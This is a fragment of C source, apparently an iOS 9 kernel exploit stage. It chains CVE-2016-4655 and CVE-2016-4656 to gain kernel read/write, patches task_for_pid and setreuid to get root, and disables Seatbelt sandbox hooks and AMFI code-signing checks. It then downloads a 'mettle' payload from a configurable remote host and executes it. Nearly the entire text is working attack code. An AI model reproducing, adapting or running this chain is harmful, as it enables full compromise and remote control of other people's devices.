dlopen_addr)772{773dlopen_func = dlopen_addr;774dlsym_func = dlsym_addr;775776// Lookup functions777void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);778779#ifdef DEBUG780typedef int (*asl_log_ptr)(aslclient asl, aslmsg msg, int level, const char *format, ...);781asl_log_ptr asl_log_func = dlsym_func(libsystem, "asl_log");782#endif783784typedef void* (*memcpy_ptr)( void * destination, const void * source, size_t num);785memcpy_ptr memcpy_func = dlsym_func(libsystem, "memcpy");786787void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);788789typedef CFMutableDictionaryRef (*IOServiceMatching_ptr)(const char *name);790IOServiceMatching_ptr IOServiceMatching_func = dlsym_func(libIOKit, "IOServiceMatching");791792typedef io_service_t (*IOServiceGetMatchingService_ptr)(mach_port_t masterPort, CFDictionaryRef matching);793IOServiceGetMatchingService_ptr IOServiceGetMatchingService_func = dlsym_func(libIOKit, "IOServiceGetMatchingService");794795typedef mach_port_t (*mach_task_self_ptr)();796mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");797798typedef kern_return_t (*io_service_open_extended_ptr)(mach_port_t service, task_t owningTask, uint32_t connect_type, NDR_record_t ndr, io_buf_ptr_t properties, mach_msg_type_number_t propertiesCnt, kern_return_t *result, mach_port_t *connection);799io_service_open_extended_ptr io_service_open_extended_func = dlsym_func(libIOKit, "io_service_open_extended");800801typedef kern_return_t (*IORegistryEntryGetChildIterator_ptr)(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator);802IORegistryEntryGetChildIterator_ptr IORegistryEntryGetChildIterator_func = dlsym_func(libIOKit, "IORegistryEntryGetChildIterator");803804typedef kern_return_t (*IOObjectRelease_ptr)(io_object_t object);805IOObjectRelease_ptr IOObjectRelease_func = dlsym_func(libIOKit, "IOObjectRelease");806807typedef io_object_t (*IOIteratorNext_ptr)(io_iterator_t iterator);808IOIteratorNext_ptr IOIteratorNext_func = dlsym_func(libIOKit, "IOIteratorNext");809810typedef kern_return_t (*IORegistryEntryGetProperty_ptr)(io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t *size);811IORegistryEntryGetProperty_ptr IORegistryEntryGetProperty_func = dlsym_func(libIOKit, "IORegistryEntryGetProperty");812813clock_get_attributes_func = dlsym_func(libsystem, "clock_get_attributes");814read_func = dlsym_func(libsystem, "read");815write_func = dlsym_func(libsystem, "write");816817DLSYM_FUNC(malloc, libsystem, void*, size_t)818DLSYM_FUNC(free, libsystem, void*)819DLSYM_FUNC(getenv, libsystem, char*, const char*)820DLSYM_FUNC(strcpy, libsystem, char*, char*, const char*)821DLSYM_FUNC(strcat, libsystem, char*, char*, const char*)822DLSYM_FUNC(strlen, libsystem, size_t, const char*)823DLSYM_FUNC(open, libsystem, int, const char*, int flags, mode_t mode)824DLSYM_FUNC(flock, libsystem, int, int fd, int operation)825DLSYM_FUNC(pipe, libsystem, int, int* pipefd)826DLSYM_FUNC(mach_host_self, libsystem, host_name_port_t)827DLSYM_FUNC(host_get_clock_service, libsystem, kern_return_t, host_t host, clock_id_t id, clock_t clock_name)828DLSYM_FUNC(host_get_io_master, libsystem, kern_return_t, host_t host, io_master_t *io_master)829DLSYM_FUNC(io_service_get_matching_services_bin, libIOKit, kern_return_t, mach_port_t, char*, int, void*)830831DLSYM_FUNC(pthread_create, libsystem, int, pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg);832DLSYM_FUNC(sleep, libsystem, unsigned int, unsigned int);833DLSYM_FUNC(fstat, libsystem, int, int fildes, struct stat *buf);834DLSYM_FUNC(setreuid, libsystem, int, uid_t ruid, uid_t euid);835DLSYM_FUNC(getuid, libsystem, uid_t);836837DLSYM_FUNC(uname, libsystem, int, struct utsname *buf);838DLSYM_FUNC(sysctl, libsystem, int, int *name, u_int namelen, void *oldp, size_t *oldlenp, void *newp, size_t newlen);839840DLSYM_FUNC(task_for_pid, libsystem, kern_return_t, mach_port_name_t target_tport, int pid, mach_port_name_t *t);841DLSYM_FUNC(vm_write, libsystem, kern_return_t, vm_map_t target_task, vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);842DLSYM_FUNC(vm_read_overwrite, libsystem, kern_return_t, vm_map_t target_task, vm_address_t address, vm_size_t size, vm_address_t data, vm_size_t *outsize);843844DLSYM_FUNC(socket, libsystem, int, int, int, int);845DLSYM_FUNC(connect, libsystem, int, int sockfd, const struct sockaddr *addr, socklen_t addrlen);846DLSYM_FUNC(send, libsystem, ssize_t, int sockfd, const void *buf, size_t len, int flags);847DLSYM_FUNC(recv, libsystem, ssize_t, int sockfd, const void *buf, size_t len, int flags);848DLSYM_FUNC(close, libsystem, int, int fd);849DLSYM_FUNC(unlink, libsystem, int, const char* file);850851// Init852const char *lock_last_path_component = "/tmp/lock";853char *home = getenv_func("HOME");854855size_t locklen = strlen_func(home) + strlen_func(lock_last_path_component) + 1;856lockfile = malloc_func(locklen);857strcpy_func(lockfile, home);858strcat_func(lockfile, lock_last_path_component);859860fd = open_func(lockfile, O_CREAT | O_WRONLY, 0644);861862flock_func(fd, LOCK_EX);863pipe_func(fildes);864865struct utsname systeminfo;866uname_func(&systeminfo);867868debug_print("Found device: %s\n", systeminfo.machine);869870char osname[32];871size_t s = sizeof(osname);872int cmd[2] = { CTL_KERN, KERN_OSVERSION };873if(sysctl_func(cmd, sizeof(cmd) / sizeof(*cmd), osname, &s, NULL, 0) != 0) {874debug_print("%s\n", "Could not detect device version");875return;876}877878bool pre91 = false;879const char* osversion = 0;880debug_print("Found version: %s\n", osname);881if (osname[2] == 'A') {882osversion = "9.0.2";883pre91 = true;884} else if (osname[2] == 'B') {885osversion = "9.1";886} else if (osname[2] == 'C') {887osversion = "9.2";888} else if (osname[2] == 'D') {889osversion = "9.2.1";890} else if (osname[2] == 'E') {891osversion = "9.3";892} else if (osname[2] == 'F') {893osversion = "9.3.2";894} else if (osname[2] == 'G') {895osversion = "9.3.3";896} else {897debug_print("%s\n", "Unsupported version");898return;899}900901debug_print("Guessed version for offsets: %s\n", osversion);902target_environment = info_to_target_environment(systeminfo.machine, osversion);903if (!target_environment) {904debug_print("%s\n", "Unsupported version");905return;906}907908909910911kern_return_t kr;912kr = host_get_clock_service_func(mach_host_self_func(), CALENDAR_CLOCK, (clock_t)&clk_battery);913if (kr != 0) {914debug_print("%s\n", "clk_battery fail");915return;916}917918kr = host_get_clock_service_func(mach_host_self_func(), REALTIME_CLOCK, (clock_t)&clk_realtime);919if (kr != 0) {920debug_print("%s\n", "clk_realtime fail");921return;922}923924// CVE-2016-4655925char data[4096];926uint32_t bufpos = 0;927928memcpy_func(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));929bufpos += sizeof(kOSSerializeBinarySignature);930931WRITE_IN(data, kOSSerializeDictionary | kOSSerializeEndCollecton | 2);932933WRITE_IN(data, kOSSerializeSymbol | 30);934WRITE_IN(data, 0x4b444948); // "HIDKeyboardModifierMappingSrc"935WRITE_IN(data, 0x6f627965);936WRITE_IN(data, 0x4d647261);937WRITE_IN(data, 0x6669646f);938WRITE_IN(data, 0x4d726569);939WRITE_IN(data, 0x69707061);940WRITE_IN(data, 0x7253676e);941WRITE_IN(data, 0x00000063);942WRITE_IN(data, kOSSerializeNumber | 2048);943WRITE_IN(data, 0x00000004);944WRITE_IN(data, 0x00000000);945946WRITE_IN(data, kOSSerializeSymbol | 30);947WRITE_IN(data, 0x4b444948); // "HIDKeyboardModifierMappingDst"948WRITE_IN(data, 0x6f627965);949WRITE_IN(data, 0x4d647261);950WRITE_IN(data, 0x6669646f);951WRITE_IN(data, 0x4d726569);952WRITE_IN(data, 0x69707061);953WRITE_IN(data, 0x7344676e);954WRITE_IN(data, 0x00000074);955WRITE_IN(data, kOSSerializeNumber | kOSSerializeEndCollecton | 32);956WRITE_IN(data, 0x00000193);957WRITE_IN(data, 0X00000000);958959CFMutableDictionaryRef amfi = IOServiceMatching_func("AppleMobileFileIntegrity");960io_service_t service = IOServiceGetMatchingService_func(0, amfi);961io_connect_t connection;962kern_return_t result;963964NDR_record_t* NDR_record_lookup = dlsym_func(libIOKit, "NDR_record");965io_service_open_extended_func(service, mach_task_self_func(), 0, *NDR_record_lookup, data, bufpos, &result, &connection);966if (result != KERN_SUCCESS) {967debug_print("%s\n", "io_service_open_extended fail");968return;969}970971io_object_t object = 0;972uint32_t size = sizeof(data);973io_iterator_t iterator;974IORegistryEntryGetChildIterator_func(service, "IOService", &iterator);975976do {977if (object) {978IOObjectRelease_func(object);979}980object = IOIteratorNext_func(iterator);981} while (IORegistryEntryGetProperty_func(object, "HIDKeyboardModifierMappingSrc", data, &size));982983uint32_t kernel_base = 0;984if (size > 8) {985kernel_base = (*(uint32_t *)(data+36) & 0xFFF00000) + 0x1000;986}987988debug_print("found kernel_base %p!\n", (void*)kernel_base);989990991// CVE-2016-4656992pthread_t insert_payload_thread;993volatile uint32_t payload_ptr = 0x12345678;994uint32_t args[] = {kernel_base, (uint32_t)&payload_ptr};995996mach_port_t master = 0, res;997struct stat buf;998mach_port_name_t kernel_task;9991000pthread_create_func(&insert_payload_thread, NULL, &insert_payload, args);10011002while (payload_ptr == 0x12345678);1003sleep_func(1);10041005memcpy_func(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));1006bufpos = sizeof(kOSSerializeBinarySignature);100710081009WRITE_IN(data, kOSSerializeDictionary | kOSSerializeEndCollecton | 0x10);1010if (pre91)1011{1012/* pre-9.1 doesn't accept strings as keys, but duplicate keys :D */1013WRITE_IN(data, kOSSerializeSymbol | 4);1014WRITE_IN(data, 0x00327973); // "sy2"1015/* our key is a OSString object that will be freed */1016WRITE_IN(data, kOSSerializeString | 4);1017WRITE_IN(data, 0x00327973); // irrelevant10181019/* now this will free the string above */1020WRITE_IN(data, kOSSerializeObject | 1); // ref to "sy2"1021WRITE_IN(data, kOSSerializeBoolean | 1); // lightweight value10221023/* and this is the key for the value below */1024WRITE_IN(data, kOSSerializeObject | 1); // ref to "sy2" again1025}1026else1027{1028/* our key is a OSString object that will be freed */1029WRITE_IN(data, kOSSerializeString | 4);1030WRITE_IN(data, 0x00327973); // "sy2"1031}1032WRITE_IN(data, kOSSerializeData | 0x14);1033WRITE_IN(data, payload_ptr+PAYLOAD_TO_PEXPLOIT+PEXPLOIT_TO_UAF_PAYLOAD); // [00] address of uaf_payload_buffer1034WRITE_IN(data, 0x41414141); // [04] dummy1035WRITE_IN(data, payload_ptr+PAYLOAD_TO_PEXPLOIT); // [08] address of uaf_payload_buffer - 81036WRITE_IN(data, 0x00000014); // [0C] static value of 201037WRITE_IN(data, kernel_base+find_OSSerializer_serialize()+1); // [10] address of OSSerializer::serialize (+1)10381039/* now create a reference to object 1 which is the OSString object that was just freed */1040WRITE_IN(data, kOSSerializeObject | kOSSerializeEndCollecton | (pre91 ? 2 : 1));10411042/* get a master port for IOKit API */1043host_get_io_master_func(mach_host_self_func(), &master);10441045/* trigger the bug */1046kr = io_service_get_matching_services_bin_func(master, data, bufpos, &res);10471048/* test read primitive */1049uint32_t kernel_header = read_primitive(kernel_base);1050debug_print("kernel_header = %p!\n", (void*)kernel_header);10511052vm_kernel_addrperm = read_primitive(kernel_base+find_vm_kernel_addrperm());10531054/* pipe test */1055fstat_func(fildes[0], &buf);1056cpipe = (uint32_t)(buf.st_ino - vm_kernel_addrperm);10571058write_func(fildes[1], "ABCDEFGH", 8);1059read_primitive(cpipe);1060pipebuf = read_primitive(cpipe+16);1061if (read_primitive(pipebuf) != 0x44434241) { // "ABCD"1062debug_print("%s\n", "read_primitive fail");1063return;1064}1065if (read_primitive(pipebuf+4) != 0x48474645) { // "EFGH"1066debug_print("%s\n", "read_primitive fail");1067return;1068}10691070read_func(fildes[0], data, 4096);10711072/* test write primitive */1073write_gadget = kernel_base + find_write_gadget();10741075write_primitive(pipebuf, 0x41424142);1076if (read_primitive(pipebuf) != 0x41424142) {1077debug_print("%s\n", "read_primitive fail");1078return;1079}10801081/* patch kernel pmap */1082patch_kernel_pmap(kernel_base);10831084/* test kernel pmap patch */1085write_primitive(kernel_base, 0x41424142);1086kernel_header = read_primitive(kernel_base);1087debug_print("kernel_header = %p!\n", (void*)kernel_header);1088write_primitive(kernel_base, 0xfeedface);1089kernel_header = read_primitive(kernel_base);1090debug_print("kernel_header = %p!\n", (void*)kernel_header);10911092kr = task_for_pid_func(mach_task_self_func(), 0, &kernel_task);1093if (kr != 0) {1094debug_print("%s\n", "patching task_for_pid!");1095patch_task_for_pid(kernel_base);1096sleep_func(1);1097kr = task_for_pid_func(mach_task_self_func(), 0, &kernel_task);1098if (kr != 0) {1099debug_print("%s\n", "tfp0 fail");1100return;1101}1102} else {1103debug_print("%s\n", "tfp0 win!");1104}11051106/* test kernel task port */1107char* kbase = malloc_func(0x1000);1108if (kbase == 0) {1109debug_print("%s\n", "malloc fail");1110return;1111}1112vm_size_t memsize;1113kr = vm_read_overwrite_func(kernel_task, kernel_base, 0x1000, (vm_address_t)kbase, &memsize);1114if (kr != 0) {1115debug_print("%s\n", "vm_read fail");1116return;1117}1118mach_header_t *mh=(struct mach_header *)kbase;1119if(mh->magic != 0xfeedface) {1120debug_print("%s\n", "magic fail");1121return;1122}11231124/* patch setreuid */1125debug_print("getuid() = %d!\n", getuid_func());1126/*assert(getuid() != 0);*/1127uint32_t setreuid_base = find_setreuid() + kernel_base;1128uint32_t branch_addr = 0x3e + setreuid_base;1129ushort new_branch = find_setreuid_cred_update(); // b loc_802aaa2c1130vm_write_func(kernel_task, branch_addr, (vm_address_t)&new_branch, 2);11311132sleep_func(1);11331134/*assert(setreuid(0, 0) == 0);*/1135setreuid_func(0, 0);11361137/* got root? */1138debug_print("getuid() = %d!\n", getuid_func());1139/*assert(getuid() == 0);*/11401141uint32_t kernel_start = 0xffffffff;1142uint32_t kernel_end = 0;11431144debug_print("ncmds = %d!\n", mh->ncmds);1145struct load_command *lc=(struct load_command *)(mh+1);1146for (int i=0;i<mh->ncmds; i++) {1147if (lc->cmd == LC_SEGMENT_T) {1148struct segment_command *sc = (struct segment_command*)lc;1149debug_print("found segment %s!\n", sc->segname);1150if (sc->vmaddr < kernel_start) {1151kernel_start = sc->vmaddr;1152}1153if (sc->vmaddr+sc->vmsize > kernel_end) {1154kernel_end = sc->vmaddr+sc->vmsize;1155}1156}1157lc=(struct load_command*)(((char *)lc)+lc->cmdsize);1158}11591160size_t kernel_size = (kernel_end - kernel_start);1161debug_print("kernel start %p, end %p, size %p!\n", (void*)kernel_start, (void*)kernel_end, (void*)(kernel_size));1162free_func(kbase);11631164vm_address_t kdata = (vm_address_t)malloc_func(kernel_size);1165for (int i=0; (i<<12)<kernel_size; i++) {1166vm_read_overwrite_func(kernel_task, kernel_base+(i<<12), 4096, kdata+(i<<12), &memsize);1167}11681169debug_print("kdata %p, end %p, size %p!\n", (void*)kdata, (void*)(kdata + kernel_size), (void*)(kernel_size));1170uint8_t *seatbeltstr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"Seatbelt sandbox policy", sizeof("Seatbelt sandbox policy") - 1);1171if (!seatbeltstr) {1172debug_print("%s\n", "seatbelt fail");1173return;1174}1175uint32_t what = (uint32_t)(seatbeltstr - kdata) + kernel_start;1176uint32_t sbops = 0;1177for (uint32_t off = 0; off < kernel_size; off += 4) {1178if (*(uint32_t*)(kdata + off) == what) {1179sbops = *(uint32_t*)(kdata + off + 12);1180debug_print("sbops found %p\n", (void*)(sbops));1181break;1182}1183}11841185/* fixes kernel[0] <Notice>: Sandbox: com.apple.WebKit(180) deny(1) file-read-data /private/var/root/log.dylib*/1186write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap), 0);1187write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename), 0);1188write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename), 0);1189write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_access), 0);1190write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_chroot), 0);1191write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_create), 0);1192write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr), 0);1193write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata), 0);1194write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exec), 0);1195write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist), 0);1196write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr), 0);1197write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl), 0);1198write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_link), 0);1199write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr), 0);1200write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_open), 0);1201write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_readlink), 0);1202write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist), 0);1203write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr), 0);1204write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setflags), 0);1205write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setmode), 0);1206write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setowner), 0);1207write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);1208write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);1209write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_stat), 0);1210write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_truncate), 0);1211write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_unlink), 0);1212write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_notify_create), 0);1213write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath), 0);1214write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattr), 0);1215write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_mount_check_stat), 0);1216write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_fork), 0);1217write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_iokit_check_get_property), 0);1218write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_accept), 0);1219write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_accepted), 0);1220write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_bind), 0);1221write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_connect), 0);1222write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_create), 0);1223write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_label_update), 0);1224write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_listen), 0);1225write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_receive), 0);1226write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_received), 0);1227write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_select), 0);1228write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_send), 0);1229write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_stat), 0);1230write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_setsockopt), 0);1231write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_getsockopt), 0);12321233uint8_t *amfistr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"Apple Mobile File Integrity", sizeof("Apple Mobile File Integrity") - 1);1234if (!amfistr) {1235debug_print("%s\n", "amfistr fail");1236return;1237}1238uint32_t amfiwhat = (uint32_t)(amfistr - kdata) + kernel_start;1239uint32_t amfiops = 0;1240for (uint32_t off = 0; off < kernel_size; off += 4) {1241if (*(uint32_t*)(kdata + off) == amfiwhat) {1242debug_print("amfiops found %p\n", (void*)(kdata + off));1243amfiops = *(uint32_t*)(kdata + off + 12);1244break;1245}1246}1247write_primitive(amfiops+offsetof(struct mac_policy_ops, mpo_file_check_mmap), 0);12481249uint8_t *amfidriverstr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"com.apple.driver.AppleMobileFileIntegrity", sizeof("com.apple.driver.AppleMobileFileIntegrity") - 1);1250/*uint32_t cs_enforce_maybe = (amfidriverstr - kdata) + kernel_start + 0xb0;*/1251/*write_primitive(cs_enforce_maybe, 1);*/12521253debug_print("amfidriverstr found %p\n", (void*)(amfidriverstr));1254uint32_t* amfi_macho = (uint32_t*)((uint32_t)amfidriverstr & 0xfffff000);1255uint32_t amfi_macho_start = 0;1256while (amfi_macho > (uint32_t*)kdata) {1257if (*amfi_macho == MH_MAGIC) {1258debug_print("amfimacho found %p\n", (void*)((uint32_t)amfi_macho - (uint32_t)kdata));1259amfi_macho_start = ((uint32_t)amfi_macho - (uint32_t)kdata);1260break;1261}1262amfi_macho = (void*)((uint32_t)amfi_macho - 0x1000);1263}12641265uint32_t memcmp_what = kernel_start + find_memcmp() + 1;1266debug_print("memcmp_what %p\n", (void*)(memcmp_what));1267uint32_t amfi_memcmp_off;1268for (amfi_memcmp_off = amfi_macho_start; amfi_memcmp_off < kernel_size; amfi_memcmp_off += 4) {1269if (*(uint32_t*)((uint32_t)kdata + amfi_memcmp_off) == memcmp_what) {1270break;1271}1272}1273debug_print("amfi_memcmp_off %p\n", (void*)(amfi_memcmp_off));12741275uint32_t amfi_memcmp_stub_found;1276for (uint32_t amfi_memcmp_stub = amfi_macho_start; amfi_memcmp_stub < kernel_size - 16; amfi_memcmp_stub += 2) {1277if ((*(uint16_t*)((uint32_t)kdata + amfi_memcmp_stub + 8) == 0x44fc) && // add ip, pc1278(*(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub + 10) == 0xc000f8dc) && // ldr.w ip, [ip]1279(*(uint16_t*)((uint32_t)kdata + amfi_memcmp_stub + 14) == 0x4760)) { // bx ip12801281uint32_t instruction1 = *(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub);1282uint32_t instruction2 = *(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub+4);1283uint32_t ip_offset = amfi_memcmp_off - (amfi_memcmp_stub + 12);1284/*if (amfi_memcmp_stub == 0x776be8) {*/1285/*debug_print("found stub %p %p %p %p\n", (void*)amfi_memcmp_stub, (void*)(ip_offset), (void*)instruction1, (void*)instruction2);*/1286/*}*/12871288if (insn_is_32bit((uint16_t*)&instruction1) &&1289insn_is_32bit((uint16_t*)&instruction2) &&1290(bit_range(instruction1, 28, 24) == 0xc) && // r121291(bit_range(instruction2, 28, 24) == 0xc) && // r121292(decode_immed(instruction1) == (ip_offset & 0xffff)) &&1293(decode_immed(instruction2) == (ip_offset >> 16)) &&12941) {1295debug_print("good stub %p %p %p %p\n", (void*)amfi_memcmp_stub, (void*)(ip_offset), (void*)instruction1, (void*)instruction2);1296amfi_memcmp_stub_found = amfi_memcmp_stub;1297break;1298}1299}1300}13011302free_func(kdata);13031304if (amfi_memcmp_stub_found) {1305uint32_t amfi_memcmp = amfi_memcmp_stub_found + kernel_start;1306debug_print("amfi memcmp is %p\n", (void*)(amfi_memcmp));13071308/*[> fixes amfid[193] <Error>: /private/var/root/log.dylib not valid: 0xe800801c: No code signature found.<]*/1309write_primitive(amfi_memcmp, 0x47702000); // mov r0, #0; bx lr1310}13111312const char config_placeholder[1024] = "PAYLOAD_URL";1313const char *payload_file = "/var/root/mettle.dylib";13141315// Load the payload from server1316debug_print("%s\n", "Connecting...");1317int sockfd = 0;1318struct sockaddr_in serv_addr;1319const char *getpayload = "GET /payload32 HTTP/1.1\r\n\r\n";1320const int chunk_size = 4096;1321char* payload_buffer = malloc_func(chunk_size);1322if ((sockfd = socket_func(AF_INET, SOCK_STREAM, 0)) < 0) {1323debug_print("%s\n", "Could not connect socket");1324return;1325}13261327serv_addr.sin_family = AF_INET;1328serv_addr.sin_addr.s_addr = *(uint32_t*)config_placeholder;1329serv_addr.sin_port = *(uint16_t*)(config_placeholder + 4);1330debug_print("Connecting: %p p %hu\n", (void*)*(uint32_t*)&serv_addr.sin_addr, serv_addr.sin_port);13311332if (connect_func(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {1333debug_print("%s\n", "Could not connect");1334return;1335}1336send_func(sockfd, getpayload, strlen_func(getpayload), 0);13371338unlink_func(payload_file);1339int payloadfd = open_func(payload_file, O_WRONLY | O_CREAT, 0700);1340int read_header = 0;1341int n;1342while ((n = read_func(sockfd, payload_buffer, chunk_size)) > 0) {1343if (!read_header) {1344char * payload_start = (char*)boyermoore_horspool_memmem((unsigned char*)payload_buffer, chunk_size, (unsigned char*)"\xce\xfa\xed\xfe", 4);1345write_func(payloadfd, payload_start, n - (payload_start - payload_buffer));1346read_header = 1;1347} else {1348write_func(payloadfd, payload_buffer, n);1349}1350}13511352close_func(payloadfd);1353close_func(sockfd);1354free_func(payload_buffer);13551356// Launch the payload1357void* libmettle = dlopen_func(payload_file, RTLD_NOW);1358debug_print("mettle found %p\n", (void*)(libmettle));1359typedef int (*main_ptr)(int argc, const char *argv[]);1360main_ptr main_func = dlsym_func(libmettle, "main");1361const char * progname = "mettle";1362const char * arg1 = "-u";1363const char * arg2 = config_placeholder+6;1364const char *argv[] = { progname, arg1, arg2, NULL };1365debug_print("main %p\n", main_func);1366int mainret = main_func(3, argv);1367debug_print("main finished %d\n", mainret);13681369}13701371137213731374